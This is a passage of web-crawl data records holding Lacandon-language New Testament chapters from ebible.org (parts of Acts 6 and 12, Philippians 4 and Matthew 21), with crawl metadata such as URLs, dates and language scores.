bo'ota'bob mac soc u tus pac'ʌr u pach Esteban. Caj u tusarajob:\n―Mʌ' ja wirej ―quij―, tij cu'yajex tan u p'astic Moisés, Esteban. Bayiri' xan, tij cu'yajex tan u p'astic C'uj.\n12 Baxuc a jera' a mac a cu nunca'ob u t'ʌn Esteban ca'ch, caj u p'usajob u yorob a nuxibo' a mac u ts'urirob u cajar. Baxuc xan, caj u p'usajob u yorob a yʌjcamsʌjʌjirob u t'ʌn Moisés, quet bayiri' caj u p'usajob u yorob a pimo' soc u tarob chucbir Esteban quir u pʌyic ich tu much'a'anob u jach ts'urirob u winiquirob judío.\n13 A mac a bo'ota'b ten a mac a cu nunca'ob u t'ʌn Esteban ca'ch, robob cu pac'arob u pach Esteban ich ʌcʌtan u jach ts'urirob u winiquirob judío. Caj ya'arajob ti'ob:\n―A je' Estebana', mʌ' u xur u p'astic u t'ʌn C'uj a tu ya'araj Moisés uche'. Mʌ' ju xur u p'astic a je' carem naja'.\n14 Tij cu'yajex ya'aric, Jesús, a cu tar ich u cajar Nazarete', je' u rʌc jubsic a je' carem naja'. Bayiri', tij cu'yajex ya'aric bin u rʌc ts'ocsej Jesús u t'ʌn Moisés yejer a ba' nanij tic rʌc betajex ―baxuc caj u ya'araj a mac a tan u pʌq'uicob u pach Esteban.\n15 Ti' cura'anob u jach ts'urirob u winiquirob judío caj u pʌctajob u ts'urirob u winiquirob judío. Cu pʌcticob Esteban. Robob caj u yirob u sasir u wich Esteban irej sasir u wich yʌjmasirob u t'ʌn C'uj.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/AC6.html","date":"2022-06-29T07:42:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103624904.34\/warc\/CC-MAIN-20220629054527-20220629084527-00223.warc.gz","language":"lac","language_score":1.0000004768,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000004768371582}","num_words":954,"character_repetition_ratio":0.082,"word_repetition_ratio":0.006,"special_characters_ratio":0.281,"stopwords_ratio":0.488,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"4\nQui'quintej a worex quire' raji' ic Jaj Ts'urirex Jesucristo\n1 Rajen in wet acsʌ'orirex, a mac in jach yaj. A teno', in c'at in tar in wirechex. Jach qui' in wor quire' a techexo'. Mʌ' ja wirej, ta wu'yex in t'ʌnob rajen a wacsmʌnex ta worex ti' Cristo. Rajen ca' bin c'uchuquen ich ca'anan tu quin bin bo'tbir ten C'uj u bo'orir in c'ʌb. Mʌ' a yʌn sutex ta pachex a techexo' a mac in jach yaje'.\n2 A techo' in wet acsʌ'orirech Evodia yejer Síntique, in wet acsʌ'orirech xan. Quin chich aric techex, mʌ' a pacran nunquic a t'ʌnex. P'eri'quint a worex ʌcʌtan ti' C'uj. 3 Bayiri' xan, a techo' in wet acsʌ'orirech quire' quet quic beyajex ti' ic Jaj Ts'urirex, chʌc yamtej a je' xquica' a tan in ts'ibtic ti'ob baje'rer, p'eri' caj beyanʌjenob yejer Clemente yejer u jer ya'ab mac, a mac ts'iba'an ten C'uj ich u ju'unin a tu ts'iba'an quir ij cuxtarex munt q'uin.\n4 Rajra' qui'quint a worex quire' raji' ic Jaj Ts'urirex. Cax a ba' cu tare' quin wʌc'ʌs aric techex, qui'quint a worex. 5 Yʌn esex ti' tu cotor mac soc yerob u jach tsoyir a pixamex, quire' tabar u yu'ur ic Jaj Ts'urirex.\n6 Mʌ' a chen tucriquex ba', chichin. Tu cotor a ba' u c'at a pixamex t'ʌnex C'uj ti' a pixam. Yʌn c'aj techex, wa raji' tu yamtechex uch. Mʌ' u yʌn tubur techex mun u ya'abir caj u yam techex uch. 7 A baywo' je' u ts'a'bʌr techex ten C'uj ta pixamex soc mʌna' ba' ca tucriquex. Aro' jach manan mʌna' ba' quic tucriquex cax wa tic tucrex uch. Quire' a je'ra' mʌ' ba' quic bin ic tucrex quire' ij quet manex Cristo.\nCa chen tucriquex a ba' jach tsoyo'\n8 In wet acsʌ'orirex, tan in wa'aric techex a je'ra', tabar in ts'ocsic in ts'ibtic techex ich a je' ju'una'. Ca' a chen tucrex a ba' taji', a ba' ca' a yʌn sʌjtex, a ba' u jach tajir, a ba' quet yejer u t'ʌn C'uj, a ba' jach manan tsoy, a ba' tsoy tu t'ʌn C'uj, a ba' mac cu ya'aric jach tsoy tu cotor, a tsoy ca betiquex ra' a yʌn tucrex a ti'obo'.\n9 A techexo', ca' a yʌn betex a ba' tin chaj a cʌniquex, a ba' tin p'ʌtaj yejerechex uch, tu cotor tin wa'araj techex wa ta wirex ber tin betaji'. A baywo' a wet manex yejer C'uj, a mac a cu ts'ic to'onex ba' soc mʌna' ba' quic tucriquex.\nJach qui' in wor quire' ta wʌc'ʌs c'ʌ'otajenex\n10 Ʌcʌtan ic Jaj Ts'urirex jach manan qui' in wor baje'rer quire' tan ta wʌc'ʌs c'ʌ'otiquenex. In wer rajra' tan a c'ʌ'otiquenex ta pixamex. Jari' yʌn q'uin mʌ' c'ucha'an a worex a wiriquenex soc a yamtiquenex. 11 Mʌ' tan in wa'aric aro' quire' otsichʌjen. Quire' wa yʌn ten ba', cax wa mʌna' ten ba', mʌ' jin tucrej, a baywo' tin cʌnaj. 12 In wer bic tabar in cuxtar cax otsichʌjen cax ricochʌjen. A C'ujo' tu cha' in wacsic tin wor wa quin muc'tic tu cotor ba', cax wa yʌn ten ya'ab in wo'och, cax wa wi'chʌjen, cax wa yʌn ten tu cotor in ba'tac, cax wa mʌna' in ba'tac. 13 Jeroj c'ucha'an in wor in muc'tej tu cotor ba' quire' Jesucristo quire' raji' cu chichquintic in wor. 14 Rajen jach tsoy caj a tucrenex an ten bic mac jach otsichʌjij, irej wa tan u muc'yaj.\n15 Mʌ' ja wirej, a techexo', a mac cʌja'anob ich u cajar Filipos. A techexo', a werex tin bat'an tsec'taj u jach tsoyir u t'ʌn C'uj ta ru'umex a techexo'. A techexo', a werex xan, wa ber tin p'ʌtaj u ru'umin ti' taro', wa ber tin p'ʌtaj Macedonia ra' u c'aba' u ru'umin. A techexo', a werex mʌna' mac ich u jer ij quet acsʌ'orirex a mac a tu yamtenob mʌ' ju c'ʌs ts'aja tenob ba', jari' techex ta yamtenex. 16 Ti' toy yʌnen uch ich u cajar Tesalónica tu ca'ten techex ta tuchi'tenex a ba' in c'at uch. 17 A teno' tin wa'araj ta betex tsoy ten. Mʌ' chen jari' tin c'ʌmaj a ba' ta sijatenex, chen ta qui'quintex u yor C'uj xan, rajen jach manan qui' in wor, quij Pablo. 18 A teno' tin c'ʌmaj tu cotor a ba' yʌn ten baje'rer, a ba' jach manan ya'ab ten baje'rer. A teno' jach tsoyen quire' tin c'ʌmaj a ba' ta tuchi'tenex yejer Epafrodito. Ta jach qui'quintex yor C'uj quire' a baywo' ta sijatenex. A C'ujo' chʌca'an yiric a mun ta sijatenex, rajen qui'jij yor C'uj, quire' a ba' ta betex ten. 19 Rajen ij C'ujirex je' u ts'ic techex tu cotor a ba' a c'atexe'. Jach manan tsoy je' u ts'abʌr techex ten C'uj quire' a ba' tu betaj Jesucristo uch. 20 Rajen ca' sʌjtac ij C'ujirex munt q'uin ten tu cotor mac.\nCu t'ʌnic u yet acsʌ'orirob Pablo\n21 T'ʌnex ten tu cotor mac a yacsmʌnob tu yorob ti' Jesucristo. Tu cotor ij quet acsʌ'orirex a ti' yʌnob tin wicnʌn tera', cu t'ʌniquechexob. 22 Tu cotor mac a yacsmʌnob tu yorob ti' Cristo a ti' yʌnob tera', cu t'ʌniquechex xan. Tu cotor mac a ti' yʌnob tu yatoch u rey César, a yacsmʌnob tu yorob, cu t'ʌniquechex xan. 23 A teno' in c'at ti' ic Jaj Ts'urirex Jesucristo ca' u qui' cʌnantechex. Jeroj ts'oc in ts'ibtic techex, quij Pablo.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/lacNT\/PHP04.htm","date":"2022-07-02T17:43:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104189587.61\/warc\/CC-MAIN-20220702162147-20220702192147-00634.warc.gz","language":"lac","language_score":0.9999848604,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.999984860420227}","num_words":867,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.286,"stopwords_ratio":0.427,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"12\nQuinsa'b Jacobo a Pedrojo' c'ʌra'an\n1 Ra'iri' u q'uinin, caj u ya'araj u rey Herodes:\n―Ca' ic chuquex a mac a yacsmʌnob tu yorob.\nJeroj tune', caj u yʌnxchun u chuquicob a yacsmʌnob tu yorob. Jun yarob caj u chucajob.\n2 Rajen caj u quinsaj Jacobo u sucu'un Juan. Quinsa'b Jacobo yejer mascab.\n3 Caj qui'jij yorob u winiquirob judío, caj irir u quinsa' Jacobo. Rajen Herodes caj u yiraj caj u qui'quintaj u yorob u winiquirob judío. Caj u ya'araj u chucur Pedro, xan. Caj u ya'araj u chucur Pedro ra' u q'uinin u qui'qui' janʌnob u winiquirob judío. Ra' cu janticob a mʌ' u sip u yoch pane'.\n4 Caj ts'oc u chucur u mʌcbir Pedro. Caj ara'b u cʌnanta'r Pedro ten soldado. Caj u ya'araj u rey Herodes:\n―Ca' a qui' cʌnantex tu mʌca'an Pedro.\nRajen ts'a'b cʌnabir Pedro ten diez y seis soldado tu cu naj mʌquic mac. Ca' bin ts'ocac u q'uinin u qui'qui' janʌnob u winiquirob judío a cu ya'aricob Pascua, cu tucric Herodes ca' joc'sej u quinsej Pedro ʌcʌtan tu cotor u winiquirob judío.\n5 Rajen ti' mʌca'ano' Pedro. Jach qui' cʌnanta'b Pedro. A tu much'a'anob a yacsmʌnob tu yorob tu t'ʌnicob C'uj ti' Pedro. Rajra' cu t'ʌnicob C'uj ti' Pedro.\nPedro joc'sa'b ten C'uj tu mʌca'an\n6 Ra' u q'uinin ac'bir tu mʌca'an Pedro. Ra' u q'uinin xan, ca' bin sasac a rey Herodeso' u c'at u joc'sej u quinsej Pedro ich ʌcʌtan u winiquirob judío. C'ʌra'an Pedro. C'ʌra'an u c'ʌb yejer ca'tur u mascabir, chen wenʌn u ca' Pedro. Chumuc yʌn Pedro ich ca'tur soldado a cu cʌnanta'rob Pedro. Bayiri' xan ti' yʌn u jer jun yarob ich tancab u jor naj u cuchir tu mʌca'an Pedro tan u cʌnanticob.\n7 Seb caj tar yʌjmasir u t'ʌn Jaj Ts'ur tu mʌca'an Pedro. Jach pot sasij tu mʌca'an Pedro. Caj pecsa'b Pedro ten yʌjmasir u t'ʌn Jaj Ts'ur quir yasʌr Pedro. Caj t'ʌnij Pedro:\n―Seb a riq'uir, Pedro ―quij.\nU bʌjiri' tiquin pit u mascabir u c'ʌb Pedro.\n8 Caj ara'b ti' Pedro ten u yʌjmasir u t'ʌn Jaj Ts'ur:\n―C'ʌxej a noc', Pedro. Jupej a pech xʌnʌb, Pedro.\nBarej, caj ts'oc u c'ʌxic u noc' caj u jupaj u pech xʌnʌb. Jeroj tune', ara'b ti' ten u yʌjmasir u t'ʌn Jaj Ts'ur:\n―Qui' buquintej u ca' yarir a noc', Pedro, ca' taquech.\n9 Caj yʌn joq'uij yʌjmasir u t'ʌn Jaj Ts'ur, caj say Pedro tu pach yʌjmasir u t'ʌn Jaj Ts'ur. Cu tucric Pedro wʌyac' u ca'. Mʌ' yer Pedro ba' cu beta'r ten C'uj, cax jach raji' u yʌjmasir u t'ʌn C'uj, rajen cu tucric Pedro wʌyac'.\n10 Caj u ca' u yʌn bat'an masajob ʌcʌtan u soldado a tu yʌn irajob a cu cʌnanta'rob Pedro tu cu macʌrob Pedro. Jeroj caj u masajob u jer soldado a ti' yʌnob quir u cʌnanticob Pedro, jeroj caj c'uchob tu carem u jo'r quir u joc'ar mac quir u bin ich u cajar Jerusalén. Mascab u jor naj. U bʌjiri' tiquin q'uepʌjij u mac u jor naj tu cu macar mac. Caj joc'ob Pedro yejer u yʌjmasir u t'ʌn Jaj Ts'ur. C'ʌs nanach tu binob ich bej jeroj seb p'at Pedro tu junan.\n11 C'aj ti' Pedro tu yor tu jach iraj u yʌjmasir u t'ʌn Jaj Ts'ur. Caj u ya'araj:\n―Baje'rer, in wer in Jaj Ts'urir caj u tuchi'taj u yʌjmasir u t'ʌn quir u taquiquen ti' u muc' a rey Herodeso' soc mʌ' in quinsa'. Bayiri' xan, caj u tacajen ti' tu cotor a ba' u c'atob u beticob tenob u winiquirob judío.\n12 Caj ts'oc u tucric a jera' caj bin ich yatoch u nʌ' Juan, u c'aba' María. Pach u jer u c'aba' Juan xan, Marcos a ca'tur u c'aba'. Tiri' caj u much'quintajob u bʌj a yacsmʌnob tu yorob quir u t'ʌnicob C'uj ti' Pedro. Ya'ab ti' yʌnob.\n13 Caj c'uchij Pedro ich yatoch u nʌ' Juan caj p'irista'b u mac u jor u pa'te' ich tancab. Caj u t'ʌnaj yubej c'urew xquic. Caj u yubaj tan u p'irista'r ten Pedro, caj joq'uij yirej maqui'. Rode u c'aba' c'urew xquic.\n14 Caj u t'ʌnaj c'urew xquic, Pedro, jeroj c'ʌ'ota'b u t'ʌn Pedro ten Rode, caj u c'ʌnaj yacab ya'arej ti' u rac'ob ti' yʌn Pedro. Jach qui' yor, rajen tubij ti' u q'uebar u jor Pedro.\n15 Robob a tu yubajob u t'ʌn Rode caj u ya'arajob ti':\n―Mʌ' taj ca wa'aric.\nChen Rode caj u chich araj ti'ob:\n―Jach taj ―quij―, ti' yʌn Pedro.\nRobob caj u ya'arajob ti':\n―Tin t'ʌnob u yʌjmasir u t'ʌn Pedro a ta wu'yaj a cu cʌnanta'r Pedro.\n16 A Pedrojo' ti' toy cu p'iristic u jor naj ich u pa'te'. Rʌc bin yiricob caj q'ueb u jor naj quir u yocar Pedro. Caj irir ten u yet acsa'orirob, caj jaq'uij yorob.\n17 Pedro caj u yesaj u c'ʌb soc ca' ts'ocac u t'ʌnob u rac'ob. Jeroj tune', caj u toc araj ti'ob bic a Jaj Ts'uro', caj u joc'saj tu mʌca'an uch. Caj u ya'araj Pedro:\n―Joq'uen, arex ti' Jacobo yejer ij quet acsa'orirex bic caj joq'uen a teno' ―quij Pedro.\nJeroj tune', caj joq'uij ich yatoch u nʌ' Juan, caj bin ich u jer naj.\n18 Caj sasij caj jaq'uij u yorob u soldado a caj u cʌnantob Pedro uche', quire' mʌ' yerob tu bin Pedro.\n19 A rey Herodes tuchi'ta'b cʌxta'birob Pedro quire' mʌna' Pedro. Caj qui'qui' cʌxta'bob, chen mʌ' irir Pedro. Caj c'ata'b ti' a soldadojo' a caj u cʌnantob Pedro uche' tu bin Pedro, bayiri' xan, bic caj joq'uij Pedro. Caj ts'oc u c'ata' ti'ob, a soldado a caj u cʌnantob Pedro uche' caj tuchi'ta'bob rʌc ch'ʌcbir u car u soldado a caj u cʌnantob Pedro uche'. Caj ts'oc u tuchi'ticob caj ruc' a rey Herodes ich u ru'umin Judea, caj bin cʌjtar ich u cajar Cesarea. Tiri' p'at ti taro'.\nQuimij a rey Herodeso'\n20 A mac a ti' cʌja'anob ich u cajar Tiro, quet yejer a mac a cʌja'anob ich u cajar Sidón tu chen ts'iquinta'r Herodes. A ucho', cu bin purbir yo'och ich u cajarob Tiro yejer Sidón. Caj ts'iquij a rey Herodeso', rajen mʌ' ju ya'ara' u bin purbirob yo'ocho'. Rajen caj u much'quintajob u bʌj a mac a ti' cʌja'anob ich u cajar Tiro yejer a mac a ti' cʌja'anob ich u cajar Sidón. Robob caj u ya'arajob:\n―Ca' tsicbanʌco'onex yejer u jach ts'urir a rey Herodes a cu beyaj ti' Herodes, u c'aba' Blasto. Ca' ic bo'otex yejer taq'uin Blasto soc raji' cu bin sisquinbir yor a rey Herodeso'.\nA baywo', caj sisij yor Herodes.\n21 Caj rʌc binob ich u rey Herodes, a mac cʌja'anob ich u cajar Tiro, yejer a mac a cʌja'anob ich u cajar Sidón. Robob, caj rʌc binob ich u rey Herodes, quire' pay ten Herodes. A ray u q'uinino', caj u buquintaj u noc' rey, jach tsoy u noc' a rey Herodeso'. Caj curʌj tu carem u cutan tu cu naj reyinticob, caj u yʌnxchun u t'ʌnic a pimo'.\n22 A pimo', caj yubajob u t'ʌn Herodes. Caj c'am t'ʌnajob a pimo', tan ya'aricob:\n―A ra' cu t'ʌn to'onexo', c'uj. Raji' c'uj cu t'ʌnico'onex, mʌ' xib cu t'ʌni'.\n23 Ra'iri' u q'uinin caj tuchi'ta'b turiri' u yʌjmasir u t'ʌn Jaj Ts'ur ich a rey Herodeso' quir u yajtar Herodes. Caj jach yajij, caj oc noc' ti', caj quimij Herodes. Mʌ' ja wirej, a Herodeso', caj u cha'j u c'ujinta'r ten a pimo', quire' mʌ' ju ya'araj:\n―Jach carem C'uji'.\n24 Chen tantanxer, caj bin u rʌc tsec't u t'ʌn Jaj Ts'ur. Bayiri' xan, cu jach pimtar a yacsmʌnob tu yorob ti' Jaj Ts'ur.\n25 Caj ts'oc u p'ʌticob u taq'uinob Bernabé yejer Saulo, caj ruc'ob ich u cajar Jerusalén. Yet binacob Juan Marcos.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/AC12.html","date":"2022-07-01T17:36:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103943339.53\/warc\/CC-MAIN-20220701155803-20220701185803-00028.warc.gz","language":"lac","language_score":0.9999909401,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9999909400939941}","num_words":1264,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.282,"stopwords_ratio":0.435,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"21\nCaj c'uchij Jesús ich u cajar Jerusalén\n(Mr. 11.1‑11; Lc. 19.28‑40; Jn. 12.12‑19)\n1 Tabar u c'uchur Jesús ich u cajar Jerusalén. Jach bʌytʌc u c'uchur ich u cajar Betfagé. Nʌts'a'an u witsir u che'er Olivos. Jesús caj u tuchi'taj u camsʌwinicob ca'tur ca' xicob ich u cajar jach bʌytʌc,\n2 caj ya'araj:\n―Je' a wiriquex chan tsimin yejer yar. Pitex ca' taquechex a purex tera'. Seb ―quij Jesús―, ca' bin a toc irex chan tsimin yejer u yar ca' taquex a purex ten.\n3 Wa ti' yʌn mac ―quij―. Cu yiric a pitic chan tsimin yejer yar. Wa cu ya'aric techex: \"Ba'wir techex?\" Arex ti': \"U Jach Ts'urir je' u wʌc'ʌs tar u purej teche' ca' bin ts'ocac u c'ʌnic.\" Je' u cha'ic a pitiquex. Seb cu bin u cha'ej a pitiquex.\n4 Caj u jamach mʌjanta'b u chan tsimin ti' yejer yar quir u cʌptar tu pach tsimin Jesús. Quir u nup'ur a ba' ts'iba'an ten yʌjtseq'uir u t'ʌn C'uj uch. Caj u toc araj yʌjtseq'uir u t'ʌn C'uj uch ti' Cristo.\n5 Arex ti' u winiquirob a cʌja'an ich u cajar Jerusalén: \"Ira wirex cu c'uchur a reyex. Aro' mʌ' ts'ic, a cʌpa'an ich u pach chan tsimin. Quet u tar yejer yar tsimin.\"\nBaxuc caj u ts'ibtaj uch yʌjtseq'uir u t'ʌn C'uj.\n6 U camsʌwinicob Jesús caj binob. Caj u pʌyajob u chan tsimin a toc ara'b ten Jesús.\n7 Caj tarob u purej chan tsimin yejer yar ich Jesús. Caj u jʌyob u noq'uirob tu pach tsimin. Jesús caj nac u cʌpʌtar ich u pach chan tsimin.\n8 A pim mac a cu yiricob Jesús cu jʌyicob u noq'uir ich tan bej soc u yach'ʌctic u chan tsimin. Caj u rʌc jan ch'ʌctajob u re' che' irej u re' tuts quir u jʌyicob ich tan bej quir u yach'tic chan tsimin. Rajen cu jʌyicob u re' che' ich tan bej yejer u noc'ob. Cu rʌc jʌyicob quire' cu yesicob cu sʌjticob Jesús irej rey cu sʌjticob.\n9 A mac caj u pʌyob u ber Jesús. Bayiri' caj binob tu pach Jesús caj u c'am t'ʌnicob Jesús soc yubicob u rac'ob:\n―Qui' qui' t'ʌnex a pimo', u parar a nunquirex David. Ca' ij caric ti' C'uj: \"Bayo' C'uj caj a tuchi'taj a mac a cu bin u reyinticob u winiquirob judío.\" Ca' ij carej ti' C'uj: \"Jach caremech C'uj.\"\n10 Caj jach c'uchij Jesús ich u cajar Jerusalén. Tu cotor mac caj u rʌc c'atob:\n―Mac a jera'? ―quij.\nCaj rʌc joc'ob ich yatochob. Rʌc xibche'chʌjijob cu manob caj yubob ya'araj:\n―Cu tar Cristo a tuchi'ta'b ten C'uj.\n11 Caj ya'araj a pimo':\n―Raji' Jesús, yʌjtseq'uir u t'ʌn C'uj. Ti' cu tar ich u cajar Nazaret ich u ru'umin Galilea.\nJesús tu rʌc joc'saj a ba' cu canicob ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío\n(Mr. 11.15‑19; Lc. 19.45‑48; Jn. 2. 13‑22)\n12 Caj c'uch Jesús ich u cajar Jerusalén, caj oc ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío. Jesús caj u rʌc joc'saj a mac a cu canicob ba'. Bayiri' a mac a cu mʌnicob, caj u rʌc jʌwʌc'ch'intaj Jesús u pojche'ir tu cu c'axicob u taq'uin. Baxuc caj u rʌc jʌwʌc'ch'intaj u cutanob tu cu canicob u yʌrʌc' susuy.\n13 Jesús caj ya'araj ti'ob:\n―Mʌ' wa c'aj techex tu ts'iba'an u t'ʌn C'uj: \"A jera' u najir quir u yocar u t'ʌnicob C'uj\", chen techex caj a waysajex irej u japnin tunich tu cu tar a mac a cu yac'ricob ba'.\n14 Caj tarob a ch'op u wiche', yet tarac a mech yoque' ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío. Caj u juts'ob u bʌj ich Jesús a ch'op u wiche' yejer a mech yoque'. Caj jawsa'b ti'ob ten Jesús.\n15 Caj p'ujob u jach ts'urirob sacerdote yejer yʌjcamsʌyʌjirob u t'ʌn Moisés. Caj irob u jawsic Jesús a mac yajo' rajen p'ujob. Caj yubob yawʌt t'ʌnticob ten a chichan ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío: \"Qui' t'ʌnex u parar ic nunquir rey David.\"\n16 Caj ya'arajob u jach ts'urirob sacerdote yejer yʌjcamsʌyʌjirob u t'ʌn Moisés:\n―Uyej ba' cu ya'aricob a chichanobo'?\nCaj u nuncaj Jesús:\n―In wer a xacmʌnex tub ts'iba'an u t'ʌn C'uj:\nAn ten bic a chichan a cu chuch cu ya'aricob bic jach carem C'uj quire' camsa'b bayiri' a man jaca'ano'.\nBiquinin mʌ' tsoy ya'aric: Jach carem C'uj a je' chichana' quire' taren tera'?\n17 Caj joc' Jesús ich carem naj caj u p'ʌtaj tu yʌnob u ts'urirob sacerdote yejer yʌjcamsʌyʌjirob u t'ʌn Moisés. Caj bin ich u cajar Betania quir u wenʌn ac'bir.\nJesús caj u t'ʌnaj u che'er higuera soc mʌ' u wichʌncʌr\n(Mr. 11.12‑14, 20‑26)\n18 Caj sasij caj wʌc'ʌs bin Jesús ich u cajar Jerusalén. Caj wichʌjij ich bej.\n19 Yiraj Jesús ti' yʌn u che'er higuera ich nʌc' bej. Caj u juts' u bʌj Jesús. Caj c'uchij ich u che'er caj yiraj mʌna' u wich, chen u re' yʌn. Caj ya'araj Jesús ti' u che'er higuera:\n―Mʌ' a yʌn yʌn ca' ichancʌr biq'uin.\nSeb caj quim u che'er.\n20 Caj yirob u camsʌwinicob Jesús, caj quim u che'er, caj jaq'uij yorob. Caj c'ata'b ten u camsʌwinicob Jesús:\n―Biquinin seb caj quimin u che'er higuera?\n21 Jesús caj u nuncaj ti'ob:\n―Jach taj quin wa'aric techex. Wa ca acsiquex ta worex wa mʌ' tan a waquex ta worex: \"Mʌ' c'ucha'an in worob ti'.\" Mʌ' chen jari' c'ucha'an a worex ti' a ba' caj in wa'araj ti' u che'er higuera. Je' u c'uchur a worex ti' ba'. Cax a je' witsa' ca t'ʌniquex ca' xic ich chi'c'ac'nab. Je' u bine' ―quij―, wa taj ca wacsic ta wor ―quij Jesús.\n22 Jesús caj ya'araj:\n―Wa yʌn ba' a c'at tu ca t'ʌniquex C'uj. Je' a qui' c'ʌmiquex wa taj ca wacsiquex ta wor.\nTu cu tar u muc' Jesús\n(Mr. 11.27‑33; Lc. 20.1‑8)\n23 Caj c'uchij Jesús ich u cajar Jerusalén caj ca' oquij ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío. Caj u juts'ob u bʌj u jach ts'urirob sacerdote yejer u jach ts'urirob u winiquirob judío a cu ya'aric a Nuxibe'. Caj u juts'ob u bʌj ich Jesús tu cu camsic mac caj c'ata'b ti' Jesús:\n―Tu yʌn mac caj u ya'araj tech ca' a joc'sej jo'oraj. Tub u tar a muc' quir a jawsic mac. Tub u tar a muc' quir a camsic mac. Mac tu ts'aj a muc'?\n24 Jesús caj u nuncaj ti'ob:\n―Baxuc techex xan, je' in c'atic techex wa taj ca nunquiquex ten. Je' in wa'aric techex tub u tar in muc' quir in betic aro'.\n25 Arej ten ―quij Jesús―. Mac tu tuchi'taj Juan quir u yacsic ja' tu jo'r mac. C'uj wa tuchi'tej wa xib tuchi'tej?\nCaj ts'oc yubicob a ba' c'ata'b ti'ob ten Jesús. Caj u nuncob u t'ʌn ich u bʌjirirob tan ya'aricob:\n―Wa quij caric ti': \"C'uj tuchi'tej\", je' ya'aric to'on: \"Biquinin mʌ' ta quibex u t'ʌn Juan uch?\"\n26 Wa quij caric ti': \"Tuchi'ta'b ten xib, quic sʌjticob a pim quire' a pim cu tucricob tuchi'ta'b Juan ten C'uj u tsec'tej u t'ʌn C'uj uch.\"\n27 Baxuc caj ara'b ti' Jesús:\n―Mʌ' ij quer mac tuchi'tej Juan.\nBaxuc caj u ca' nuncaj Jesús caj ya'araj:\n―Baxuc xan, mʌ' in wa'aric tub u tar in muc' a ba' quin betic.\nJesús cu camsic bic u quibicob u t'ʌn u tet a ca'tur u parar\n28 Jesús caj u c'ataj ti' u jach ts'urirob sacerdote yejer u jach ts'urirob u winiquirob judío a cu ya'aric a Nuxibe':\n―Arex ten ba' ca najtiquex ti' a jera'. Ti' yʌn xib ca'tur u pararob. Caj ya'araj ti' u parar turiri': \"Xen ta beyaj ich in cor baje'rer quir a t'aquic u wich uva.\"\n29 Caj u nuncaj u parar: \"Mʌ' in c'at in bin beyaj.\" Pachir caj u c'axaj u tucur caj bin beyaj.\n30 A mac yʌn u parar ca'tur caj bin yirej u parar juntur. Caj ya'araj: \"Xen ta beyaj ich in cor.\" Caj u nuncaj: \"Je' in bin beyaj Tet\", quij. Chen mʌ' binij.\n31 Jesús caj u c'ataj ti' u jach ts'urirob sacerdote yejer u jach ts'urirob u winiquirob judío a cu ya'aric a Nuxibe':\n―Arex ten mac caj u quibaj u t'ʌn u tet?\nU ts'urirob caj u nuncajob:\n―A tu yʌn tuchi't'aj bin beyaj cax tu cay araj: \"Mʌ' u bin.\"\nJesús caj ya'araj:\n―Jach taj, quin wa'ariquex tech an ten biquechex u parar a mʌ' tu quibaj u t'ʌn u tet. Quire' techex mʌ' ca quibex u t'ʌn C'uj. Rajen a xquico' a cu man cu bin qui' acsa'bir ten C'uj tu cu bin u reyintej C'uj. Bayiri', a mac a cu c'ʌmicob u taq'uin gobierno, quire' caj u quibob u t'ʌn Juan a tu yacsaj ja' tu jo'r mac. Chen a techex mʌ' u yacsiquechex C'uj.\n32 Mʌ' ja wirej ―quij Jesús―. Caj tar uch quir u tsec'tic techex u t'ʌn C'uj mʌ' ta quibexi'. Chen a xquic a cu mano', baxuc a yʌjc'ʌmirob u taq'uin gobierno, raji'ob caj u c'axajob u yorob caj u quibob u t'ʌn Juan. Chen a techex mʌ' ja quibex u t'ʌn Juan mʌ' ja c'axex a worex cax caj a wirex cu c'axicob yorob a mac yʌn u si'pirob.\nJesús cu camsic ti' a ts'uro' a mʌ' bo'ota'b ten u winiquirob\n(Mr. 12.1‑12; Lc. 20.9‑19)\n33 Caj ya'araj Jesús ti' u ts'urirob sacerdote yejer u jach ts'urirob u winiquirob judío a cu ya'aric a Nuxibe':\n―U'yex ba' quin camsiquex u jer. Raji' u ru'umin tu tu pʌc'aj yaq'uir uva ich u yajaw cor. Caj u pa'te'taj u cor. Caj u betaj u ba'inquir quir u yʌts'ic u c'ab u wich uva. Caj u ts'ʌpquintaj tunich quir u ch'ictar ca'anan soc u cʌnantic yaq'uir u wich uva soc mʌ' u rʌc mʌq'uicob ch'ich'.\n'Caj ya'araj u cʌnanta'r u cor ten u winiquirob. Quire' bin u ca' ti' u jer ru'um nachir.\n34 Caj c'uchij tu q'uinin u wichʌncʌr, caj tuchi'tob u c'urew ten u jach ts'urir quir u c'atic u bo'orir tu cu t'aca'rob u wich uva yʌjcʌnanyʌjirob u cor. Quire' yʌn u jasʌrob ti' u ts'urir, quire' u bo'orir u cor tu cu cʌnanta'ob u cor.\n35 Caj chuc u c'urew ten yʌjcʌnanyʌjirob u cor. Caj u jʌts'ajob turiri', u jer quinsa'b. U jer caj u ch'inajob u jo'r.\n36 U wʌc'ʌs ts'urir caj u tuchi'taj u ca' jer c'urew quir u c'aticob u bo'orir ti' yʌjcʌnanyʌjirob tu tu t'acajob u wich uva ich u cor. Pim caj u toc tuchi'taj u c'urew u jach ts'urir. A tu yʌn tuchi'taj mʌ' pimi'. Ra'iri' caj u 